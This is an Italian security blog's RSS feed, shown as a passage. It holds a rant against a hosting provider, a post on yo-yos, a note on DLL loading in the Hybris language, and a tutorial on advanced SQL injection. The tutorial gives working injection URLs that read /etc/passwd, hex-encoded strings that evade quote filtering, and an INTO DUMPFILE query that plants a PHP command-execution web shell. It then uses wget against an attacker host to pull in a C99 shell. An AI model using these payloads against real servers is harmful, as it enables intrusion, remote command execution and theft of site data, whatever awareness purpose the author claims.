Non c&#8217;è <strong>niente di illegale</strong> in questo, molti siti hanno script analoghi, e avevo messo un disclaimer grande quanto un palazzo dove dicevo che eventuali attività illegali sarebbero state loggate e le autorità avvertite, che io non ero responsabile di un uso improprio del servizio, etc etc etc etc etc &#8230; eppure, spiegatemi il xkè, nonostate fosse stato tutto perfettamente legale, tophost mi ha bloccato il servizio, nemmeno mandandomi una mail di preavviso, ma deliberatamente entrando nel mio account ftp e bloccando i permessi di esecuzione su quei file !<br />
Ma che min***a siete la gestapo ?!?!?<br />
Studiatevi la legislatura e poi applicatela come si deve, non &#8220;a modo vostro&#8221; !</p>
<p>Ne potrei riportare tante altre di storielle così, ma non voglio annoiarvi troppo &#8230; il significato in fondo è uno solo, il servizio costa poco perchè fa schifo ! Personalmente preferisco aver speso qualche decina di euro in +, trasferendo il sito altrove, ma avere innanzitutto <strong>personale competente</strong>, servizi all&#8217;avanguardia, un infrastruttura sicura che non esponga i miei dati sensibili al primo deficiente che buca il server, e soprattutto senza avere quel cavolo di &#8220;<strong>Rate Limit Exceeded</strong>&#8221; per ogni formica che passa sui vostri cavi di rete !<br />
Vi consiglio vivamente di riformare il vostro staff tecnico con persone che sanno quel che fanno e di iniziare ad offrire un servizio non dico buono, ma quanto meno <strong>decente</strong>, anche facendolo pagare un po di +, nessuno vi chiede di regalare qualcosa in fondo .</p>
<p>Spero che questo post non venga cancellato/censurato, ma piùttosto letto con attenzione .</p>
<p>Distinti saluti,<br />
<em>Simone Margaritelli </em>aka <strong>evilsocket</strong></p></blockquote>
<p>La vicenda purtroppo sfociò in un flame, vuoi un po per lo staff che non seppe gestire il thread, vuoi un po per un &#8220;certo&#8221; coglione di mia conoscenza che di proposito si mise a trollare &#8230; ma la sostanza rimase.</p>
<p>Tophost, non solo offriva un servizio scadente, non solo deteneva infrastrutture bacate che mettevano a rischio i dati sensibili dei loro clienti, ma si arrogava anche il diritto di ritenere che, a prescindere dalla situazione, qualsiasi lamentela di un cliente fosse un evento isolato, da imputarsi solo ed unicamente all&#8217;ignoranza informatica del cliente stesso, cosa molto grave a priori, figuriamoci quando questa sorta di insulto lo si indirizza ad un cliente che di mestiere fa quello che dovrebbero fare loro XD.</p>
<p>Ebbene, a distanza di più di un anno, <strong>non è cambiato assolutamente nulla</strong>!</p>
<p>Oggi mi ritrovo tra i feed rss <a href="http://www.koalalorenzo.com/2010/07/08/sconsiglio-tophost/#comment-61117100" target="_blank">questo post dal blog iKoala</a>, che sostanzialmente riassume la stessa identica situazione e addirittura mostra l&#8217;incompetenza dello staff di tophost!</p>
<p>Lorenzo, l&#8217;admin di iKoala, hostato su tophost, stava provando ad aggiornare il suo wordpress alla 3.0 in seguito a diversi problemi, procedura che non è riuscito a concludere a causa della bassa qualità del servizio di hosting.</p>
<p>E cosa si sente rispondere?</p>
<p>Che è colpa sua, che è colpa di wordpress, che non è possibile che una webapp consumi tante risorse (come se fosse una webapp nata ieri wordpress!) e addirittura che (allego immagine di un tweet inviato da non-so-quale-idiota-dello-staff-di-tophost a Lorenzo) :</p>
<p><img class="aligncenter" src="http://img2.pict.com/c2/14/54/3761710/0/1278540144.jpg" alt="" width="834" height="412" /></p>
<p>Ma dico io, <strong>ma come cazzo vi permettete</strong>?!?!?</p>
<p>Non solo offrite un servizio penoso, non solo a distanza di due anni non avete sistemato nulla, non solo siete degli emeriti ignoranti ed incompetenti che sparano cavolate astronomiche solo per pararsi il culo e non fare una (ennesima) figura di merda, non solo non rispondete ai ticket dei clienti (o se lo fate li chiudete subito con sufficienza) ma vi azzardate anche ad insultare e sbeffeggiare coloro che vi danno il pane pagandovi quel misero servizio ?!?!</p>
<p>A questo punto, il problema non è ne il servizio, ne la sua qualità, tantomeno il suo prezzo &#8230; il problema è la vostra arroganza! Ma vergognatevi!</p>
<p>/EOF</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1264">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1264&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1264/tophost-perde-il-pelo-ma-non-il-vizio.html/feed</wfw:commentRss>
		<slash:comments>70</slash:comments>
		</item>
		<item>
		<title>Tecniche avanzate di SQL Injection, quello che non tutti sanno!</title>
		<link>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html</link>
		<comments>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:39:08 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[c99]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[dumpfile]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[into dumpfile]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1245</guid>
		<description><![CDATA[Qualche tempo fa scrissi una breve (e decisamente incompleta) introduzione alle sql injections che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema. Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Qualche tempo fa scrissi una breve (e decisamente incompleta) <a href="http://www.evilsocket.net/74/introduction-to-sql-injections.html" target="_blank">introduzione alle sql injections</a> che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema.</p>
<p>Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo dire è anche la mia preferita per quanto concerne il web hacking <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) ed il ragazzo che lo stava tenendo ha detto alla fine la frase &#8220;con le sql injections si possono fare innumerevoli cose&#8221; che mi ha fatto venir voglia di scrivere questo articolo.</p>
<p>Ci sono alcuni aspetti delle SQL injections che in realtà non sono molto conosciuti, ma che aprono davvero un mondo e portano un ipotetico attaccante (o un informatico che deve porre rimedio a questa piaga) nella condizione di avere accessi con privilegi ben superiori a quelli che una &#8220;normale&#8221; iniezione darebbe.</p>
<h2><span id="more-1245"></span>Accesso in lettura al file system.</h2>
<p>MySQL, così come tantissimi altri database, hanno delle funzioni integrate nel linguaggio stesso che offrono funzionalità avanzate all&#8217;interno delle query, basti pensare alle funzioni <strong>CONCAT()</strong> o <strong>MID() </strong>per operare sulle stringhe.</p>
<p>Una funzione non molto conosciuta, principalmente perchè son pochi gli scenari nella quale convenga usarla, è la funzione<strong> LOAD_FILE() </strong>che, come suggerisce il nome stesso, serve per caricare il contenuto di un file all&#8217;interno di un buffer di MySQL.</p>
<p>Ad esempio, eseguendo la query :</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Riceveremo come risultato il contenuto del rinomato file &#8230; beh, perchè non utilizzare tale funzione anche all&#8217;interno di un injection ?</p>
<p>Invece di un ipotetico :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,username,password <strong>FROM</strong> users<strong><em>/** </em></strong></p></blockquote>
<p>Potremmo fregarcene della tabella utenti ed andarci direttamente a spulciare il filesystem :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,<strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>),NULL<strong><em>/**</em></strong></p></blockquote>
<h2>Come aggirare la rogna degli apici.</h2>
<p>Seguendo l&#8217;esempio qui sopra riportato, vorrei parlare di un altro &#8220;trick&#8221; di MySQL non motlo conosciuto &#8230; spesso durante il testing di una sql injection, ci rendiamo conto che utilizzare degli apici all&#8217;interno del codice da noi iniettato diventa una vera rogna, questo specialmente quando la query che esegue la pagina web (e che noi non conosciamo del tutto) è molto complessa, con diverse JOIN ecc, risultando di volta in volta in un errore di sintassi perchè abbiamo messo un apice di troppo (che magari ci è stato segato dalle magic quotes, le puttane!!!).</p>
<p>Questo potrebbe accadere ad esempio, con gli apici utilizzati per passare l&#8217;argomento alla funzione LOAD_FILE &#8230; ma in realtà, aggirare questo problema (e metterlo nel cxxo alle gpc!) è abbastanza semplice se si conosce il modo &#8230; basta codificare in esadecimale! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Ovvero, invece di utilizzare la dicitura</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Utilizzeremo</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em> 0x2f6574632f706173737764 </em>)</p></blockquote>
<p>Dove 0x2f6574632f706173737764 corrisponde alla stringa /etc/passwd codificata in esadecimale &#8230; e così, via gli apici! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Questo si può utilizzare anche nei confronti (0x61646d696e = admin) :</p>
<blockquote><p><strong>SELECT</strong> NULL,NULL,username,password <strong>WHERE</strong> username=0x61646d696e</p></blockquote>
<p>E così via, generalmente ogni qual volta bisognerebbe utilizzare una stringa ma per un motivo o per un altro non possiamo (o vogliamo perchè siam pigri) farlo.</p>
<h2>Accesso in scrittura al file system.</h2>
<p>Mi son tenuto questa chicca per ultima perchè è la più sfiziosa <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Non sarebbe bello poter arrivare, partendo da una semplice sql injection, ad una shell php (o di qual si voglia linguaggio) pronta a runnare sul server in questione, così da poterci spulciare tutto il file system in pace ed eseguire comandi da remoto?</p>
<p>Beh, è fattibilissimo! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Analogamenente alla funzione LOAD_FILE precedentemente vista, esiste anche una coppia di keywords MySQL che invece ci permette di inserire del contenuto arbitrario all&#8217;interno del file che vogliamo, tale magica accoppiata è <strong>INTO DUMPFILE</strong> .</p>
<p>C&#8217;è da specificare una cosa che, anche essendo ovvia, non è così banale &#8230; dovendo specificare come argomento il path completo del file che vogliamo creare (o sovrascrivere!!), è sottointeso che tale cartella debba essere scrivibile dall&#8217;utente con i quali privilegi è in esecuzione il demone MySQL.</p>
<p>Se ci interessasse solamente creare un file non necessariamente raggiungibile via web (quindi non nella cartella nella quale apache si aspetta i file html e php), potremmo benissimo scrivere nella /tmp/ che generalmente è accessibile da tutti, utilizzando la query :</p>
<blockquote><p><strong>SELECT</strong> &#8216;contenuto&#8217; <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/tmp/blablabla&#8217;</p></blockquote>
<p>O meglio ancora, codificato in esadecimale come abbiamo visto prima :</p>
<blockquote><p><strong>SELECT</strong> 0x636f6e74656e75746f <strong>INTO</strong> <strong>DUMPFILE</strong> 0x2f746d702f626c61626c61626c61</p></blockquote>
<p>Dove &#8220;contenuto&#8221; ovviamente è quello che vogliamo mettere dentro il file &#8230;</p>
<p>Scrivere nella /tmp non è molto utile, a meno che il sito sia affetto anche da una LFI (local file inclusion = inclusione di file locali) e quindi potremmo prima creare il file e successivamente forzare una pagina ad includerlo per eseguirlo.</p>
<p>Quello che ci interessa veramente però (almeno quello che solitamente interessa a me <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) è scrivere nella stessa cartella che contiene il sito, così da poterci mettere una shell ed utilizzarla in tutta comodità.</p>
<p>Non esiste (o almeno io non l&#8217;ho trovato) il modo, tramite una query SQL, di trovare il full path della htdocs, però ci sono un paio di metodi che, con un po di intuito e fortuna funzionano il 99% delle volte.</p>
<p>Il primo, tramite il metodo sopra indicato di lettura del file system,  consiste nel leggere il file di configurazione di apache (httpd.conf) che solitamente è contenuto in /etc/[qualcosa] (dove [qualcosa] è cmq un valore che varia di poco da server a server ed è di conseguenza facilmente &#8216;guessabile&#8217;) e vedere i path dei vari virtual hosts .</p>
<p>Questo metodo però, necessita che l&#8217;utente con il quale runna MySQL possa leggere quel file e non sempre questo è possibile anzi, se chi ha configurato il server è bravo, non è quasi mai possibile.</p>
<p>Il secondo metodo invece, funziona praticamente sempre <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ormai, la stragrande maggioranza dei siti utilizza applicazioni web cms quali WordPress, PHPNuke (OMFG c&#8217;è ancora chi lo usa!!!), PHPFusion, Joomla e così via.</p>
<p>Tali sistemi, al momento dell&#8217;installazione, inseriscono in una tabella (che varia da sistema a sistema, ma essendo questi sistemi opensource cmq le tabelle sono note) il full path nel quale sono stati installati, il più delle volte per poter includere correttamente i vari file php che gli servono, altre volte (specialmente nel caso dei forum) per sapere in quale cartella, ad esempio, possono spostare gli allegati uploadati in un post.</p>
<p>Ebbene &#8230; è proprio quello che ci serve!</p>
<p>Abbiamo una sql injection, sappiamo quale sistema PHP gira nel sito, sappiamo quale colonna di quale tabella ci interessa &#8230; ci basterà utilizzare una sql injection che selezioni quella variabile dal database e eccoci qui, abbiamo il full path di installazione del sito che stiamo attaccando!</p>
<p>A questo punto, ipotizzando che il path sia &#8220;/var/www/htdocs/sito.com/&#8221; (ipotesi tra l&#8217;altro non molto distante dalle casistiche reali), potremmo utilizzare una sql injection del tipo :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,&#8217;<strong>&lt;?php</strong> <strong>passthru($_GET["cmd"]); ?</strong><strong>&gt;</strong>&#8216;,NULL <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/var/www/htdocs/sito.com/lulz.php&#8217;/**</p></blockquote>
<p>(Magari il tutto opportunamente codificato in hex come visto prima, fate vobis che a me non va XD)</p>
<p>Dalla query risulta evidente come abbiamo scritto un piccolo codice php all&#8217;interno della pagina lulz.php, codice che eseguirà qualsiasi comando gli venga passato tramite la variabile &#8220;cmd&#8221;, mostrandone il contenuto &#8230; a questo punto, o utiliziamo lo script direttamente, del tipo :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=ls</p></blockquote>
<p>Oppure, cosa ancor più comoda, potremmo utilizzarlo per scaricare, tramite wget, una shell un attimino più decente (magari una C99) :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=wget%20http://www.evilsite.com/c99.txt</p></blockquote>
<blockquote><p>http://www.site.com/lulz.php?cmd=mv%20c99.txt%20c99.php</p></blockquote>
<p>Ed eccoci qua, da una semplice e comune SQL injection, siamo passati ad avere una shell sul server! Non male vero? Soprattutto se pensate che tramite queste funzioni è possibile accedere, tramite i privilegi del demone MySQL, anche ad eventuali risorse di rete &#8230; a voi la ricerca! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Ci tengo a precisare che non sto scrivendo un articolo di questo genere, dopo tanto tempo che non ne scrivevo, per incitare le persone a lamerare, ma solo per sensibilizzare quei programmatori che troppo spesso, soprattutto in ambito professionale, sottovalutano dei bug apparentemente piccoli ma che, come mostrato, possono portare a conseguenze veramente disastrose.</p>
<p>Cya the next time! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1245">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1245&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Lo YoYo : Giocattolo o piccolo capolavoro di ingegneria?</title>
		<link>http://www.evilsocket.net/1219/lo-yoyo-giocattolo-o-piccolo-capolavoro-di-ingegneria.html</link>
		<comments>http://www.evilsocket.net/1219/lo-yoyo-giocattolo-o-piccolo-capolavoro-di-ingegneria.html#comments</comments>
		<pubDate>Sun, 13 Jun 2010 21:24:11 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[responsive]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[unresponsive]]></category>
		<category><![CDATA[yoyo]]></category>
		<category><![CDATA[yoyomaniacs]]></category>
		<category><![CDATA[yym]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1219</guid>
		<description><![CDATA[Oggi non scriverò un articolo tecnico, tantomeno riguardante l&#8217;informatica. Bensì vista la natura &#8220;personale&#8221; di un blog, nella fattispecie questo, parlerò di una delle mie altre passioni che nulla hanno a che vedere con l&#8217;informatica &#8230; lo yoyo! Prima di iniziare a ridacchiare e pensare &#8220;Questo sta fuori, c&#8217;ha 20 anni per gamba e ancora [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Oggi non scriverò un articolo tecnico, tantomeno riguardante l&#8217;informatica.<br />
Bensì vista la natura &#8220;personale&#8221; di un blog, nella fattispecie questo, parlerò di una delle mie altre passioni che nulla hanno a che vedere con l&#8217;informatica &#8230; lo <strong>yoyo</strong>!</p>
<p>Prima di iniziare a ridacchiare e pensare &#8220;Questo sta fuori, c&#8217;ha 20 anni per gamba e ancora gioca con queste cose!!&#8221; (xkè so che molti di voi lo staranno pensando! XD), guardate questo video e poi giudicate se sto parlando di un giocattolo o di un vero e proprio sport :</p>
<p>(Video di Jensen Kimmit)</p>
<p><span id="more-1219"></span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/dABLmWABgmY&amp;hl=it_IT&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://www.youtube.com/v/dABLmWABgmY&amp;hl=it_IT&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Bene, ora che ho la vostra attenzione (almeno spero <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ), vi parlerò un po di questa parte del mio mondo ^^</p>
<p>Lo yoyo, così come la maggior parte della gente lo conosce, ovvero quel giocattolo che, legato ad un cordino, se tirato e poi strattonato torna in mano, viene chiamato &#8220;responsive&#8221; ad indicare per l&#8217;appunto il fatto che ha un sistema ad asse fisso o comunque un sistema di ritorno automatico.</p>
<p>Questo è solo una delle varie tipologie, che ha avuto il suo massimo successo negli anni &#8217;90, chi ha la mia età ricorderà quel periodo pieno di yoyo in tv, nei negozi di giocattoli e persino nelle bancarelle degli ambulanti.</p>
<p>Successivamente è stato introdotto un sistema di ritorno con cuscinetto a sfera, che consente di eseguire delle figure (dette &#8220;tricks&#8221;) come quelle che abbiamo visto nel video qui sopra.</p>
<p>Tale sistema consiste in un asse di metallo che unisce le due coppe dello yoyo (solitamente in alluminio, ma ne vengono realizzate anche in plastica, carbonio e perfino titanio!), ed un cuscinetto a sfera (i più buoni con sfere ceramiche) intorno a questo asse che, essendo libero di girare, fa si che lo yoyo non torni in mano subito (in tal caso si parla di yoyo &#8220;unresponsive&#8221;), bensì rimanga in rotazione (in &#8220;sleeper&#8221;) fin quando il giocatore (detto &#8220;yoer&#8221;) non esegua un trick chiamato bind, il quale consente di riavvolgere il cordino e far tornare su lo yoyo.</p>
<p>Circa un anno fa, girovagando per negozi con la mia fidanzata, mi sono imbattuto, dentro una giocoleria, in uno yoyo ad asse fisso che mi ricordava tantissimo uno che avevo quando ero piccolo &#8230; vuoi perchè sono ancora un ragazzino cresciuto, vuoi un po per nostalgia, l&#8217;ho comprato ed ho iniziato a lanciarlo (dicasi loopare nel caso di yoyo ad asse fisso) per tutta la serata, ovviamente incuriosendo i passanti e mettendo in enorme imbarazzo la mia fidanzata che, nonostante sia abituata a queste mie stramberie, ogni tanto rimane ancora stupita di quanto io sia capace di fregarmene altamente dell&#8217;opinione di chi mi guarda XD</p>
<p>Tornato a casa la sera, mi son messo un po a cercare su internet per trovare qualche informazione, qualche trick, qualche video insomma ed ho scoperto non un mondo, ma un intero universo che gira dietro questo sport/passione!!!</p>
<p>Inizialmente trovai una marea inimmaginabile di video su youtube di yoer come Jensen Kimmit (il ragazzo canadese del video qui sopra), Jason Lee (pluri campione mondiale), ecc ecc ecc e poi approdai su <a href="http://www.yoyomaniacs.com/">http://www.yoyomaniacs.com/</a> .</p>
<p>Una vera e propria associazione di giocatori, sempre pronti ad aiutarmi nell&#8217;imparare nuovi trick, a cazzeggiare ai raduni o semplicemente  a scambiare quattro chiacchiere .</p>
<p>Ho scoperto che ogni nazione ha un suo campionato nazionale di yoyo ed in quello passato ho partecipato, come spettatore ovviamente, anche io &#8230; così come c&#8217;è un campionato mondiale dove, i più bravi di tutto il mondo si sfidano all&#8217;ultimo trick in free style che tolgono veramente il fiato.</p>
<p>Così, tornando alla mia esperienza personale, acquistai il mio primo yoyo unresponsive, un Plastic Grind Machine, ed iniziai a trickeggiare.</p>
<p>Beh, sarò strano io, ma ho scoperto che non solo era divertente, ma mi rilassava moltissimo tra una sessione e l&#8217;altra di coding, nonchè stimolava i miei riflessi e la mia creatività &#8230; insomma, una specie di super-giocattolo per adulti <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Bon, con questo chiudo perchè potrei continuare per mesi a parlarne <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Se per caso ho stimolato la vostra curiosità, sarò lieto di rispondere ad ogni domanda nei commenti di questo articolo, così come saranno pronti ad accogliere qualsiasi nuovo giocatore i ragazzi dell&#8217;<a href="http://www.yoyomaniacs.com/" target="_blank">associazione italiana yoyo</a> ^^</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1219">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1219&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1219/lo-yoyo-giocattolo-o-piccolo-capolavoro-di-ingegneria.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>La potenza del Dll loading in un linguaggio di scripting.</title>
		<link>http://www.evilsocket.net/1218/la-potenza-del-dll-loading-in-un-linguaggio-di-scripting.html</link>
		<comments>http://www.evilsocket.net/1218/la-potenza-del-dll-loading-in-un-linguaggio-di-scripting.html#comments</comments>
		<pubDate>Sat, 12 Jun 2010 15:20:41 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[hybris]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[L'altro giorno, curiosando nel nopaste, mi sono imbattuto in uno script del buon white_sheep, nel quale provava tramite la classe std.Dll a caricare la libreria ncurses e creare del testo.
Una volta provato e visto che funzionava, mi son detto "beh, ve...


Related posts:<ol><li><a href='http://www.evilsocket.net/1038/nasce-hypaste-il-nopaste-gestito-da-hybris.html' rel='bookmark' title='Permanent Link: Nasce HyPaste, il nopaste gestito da Hybris.'>Nasce HyPaste, il nopaste gestito da Hybris.</a></li>
<li><a href='http://www.evilsocket.net/963/importante-hybris-1-0-roadmap-ho-bisogno-di-consigli-user-side.html' rel='bookmark' title='Permanent Link: [IMPORTANTE] Hybris 1.0 Roadmap, ho bisogno di consigli user-side'>[IMPORTANTE] Hybris 1.0 Roadmap, ho bisogno di consigli user-side</a></li>
<li><a href='http://www.evilsocket.net/975/cogito-ergo-sum.html' rel='bookmark' title='Permanent Link: Cogito ergo sum'>Cogito ergo sum</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>L'altro giorno, curiosando nel <a href="http://nopaste.hybris-lang.org/" >nopaste</a>, mi sono imbattuto in uno script del buon white_sheep, nel quale provava tramite la classe std.Dll a caricare la libreria ncurses e creare del testo.
</p><p>Una volta provato e visto che funzionava, mi son detto "beh, vediamo fino a che punto si può arrivare!" :)</p>
<p>Bene, ho preso il <a href="http://www.captain.at/howto-curses-example.php" >primo esempio</a> di ncurses che mi ha restituito google e ho provato a convertirlo con questa tecnica, quindi senza implementare a mano un modulo di binding per la libreria ncurses per Hybris, bensì caricando direttamente il modulo nativo in C .</p>
<p>Il risultato ?</p>
<p><img  src="http://img217.imageshack.us/img217/1511/schermataql.png" style="width: 204px; height: 234px; " alt="" /></p>
<p>Esattamente come la sua controparte in C!!! :D</p>
<p>Conclusione, la tecnica del Dll loading si sta rivelando molto più potente e utile di quanto previsto! :P</p>
<p>Il codice Hybris lo <a href="http://nopaste.hybris-lang.org/233.html" >trovate sul nopaste</a>.</p>
<p><a href="http://www.hybris-lang.org/story/la-potenza-del-dll-loading-in-un-linguaggio-di-scripting.html" >read more</a></p><img src="http://feeds.feedburner.com/~r/HybrisProgrammingLanguageOfficialSite/~4/151Ld0Om7no" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1218/la-potenza-del-dll-loading-in-un-linguaggio-di-scripting.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
